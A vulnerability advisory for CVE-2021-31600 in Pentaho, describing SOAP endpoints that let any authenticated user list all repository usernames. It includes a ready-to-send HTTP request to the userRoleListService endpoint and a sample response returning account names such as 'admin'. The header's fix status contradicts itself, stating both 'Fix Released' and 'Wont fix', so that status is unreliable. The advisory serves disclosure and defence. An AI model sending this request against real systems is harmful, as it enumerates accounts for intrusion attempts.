Vendor / Manufacturer: Hitachi Vantara
Affected Version(s): <= 9.1
Vulnerability Type: Jackrabbit User Enumeration
Solution Status: Fix Released on public GitHub repository
Manufacturer Notification: 8th February 2021
Solution Date: Wont fix
Public Disclosure: 01 November 2021
CVE Reference: CVE-2021-31600
Author(s) of Advisory: Alberto Favero ( HawSec ) & Altion Malka
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Product Description:
Pentaho is business intelligence (BI) software that provides
data
integration, OLAP services, reporting, information dashboards, data
mining
and extract, transform, load (ETL) capabilities. Its headquarters
are in
Orlando, Florida. Pentaho was acquired by Hitachi Data Systems in
2015 and
in 2017 became part of Hitachi Vantara.
( Source: https://en.wikipedia.org/wiki/Pentaho )
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Vulnerability Details:
Pentaho implements a series of web services using the SOAP
protocol to
allow scripting interaction with the backend server. HAWSEC
identified that
the services userRoleListService and ServiceAction exposed through
the
"/pentaho/webservices/userRoleListService" and
"/pentaho/ServiceAction?action=SecurityDetails" endpoints are not
enforcing
sufficient access controls. Specifically, an authenticated user can
list
all application usernames present in the Jackrabbit Repository.
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Proof of Concept (PoC):
See Ginger ( https://github.com/HawSec/ginger )
or
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POST /pentaho/webservices/userRoleListService HTTP/1.1
Host: localhost:8080
Connection: close
Cookie: JSESSIONID=878BCFF82EC40D06F72D64172CAC98B4;
SOAPAction:
Content-Type: text/xml; charset=UTF-8
Content-Length: 244
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ws="http://ws.userrole.security.platform.pentaho.org/">
<soapenv:Header/>
<soapenv:Body>
<ws:getAllUsers/>
</soapenv:Body>
</soapenv:Envelope>
HTTP/1.1 200
Content-Type: text/xml;charset=utf-8
Connection: close
Content-Length: 353
<?xml version='1.0' encoding='UTF-8'?>
<S:Envelope
xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
<S:Body>
<ns2:getAllUsersResponse
xmlns:ns2="http://ws.userrole.security.platform.pentaho.org/">
<return>pat</return>
<return>test</return>
<return>suzy</return>
<return>admin</return>
<return>tiffany</return>
</ns2:getAllUsersResponse>
</S:Body>
</S:Envelope>
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Credits:
This vulnerability was discovered by Alberto Favero & Altion Malka
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BlackHawk -
Experientia senum, agilitas iuvenum.
Adversa fortiter. Dubia prudenter.
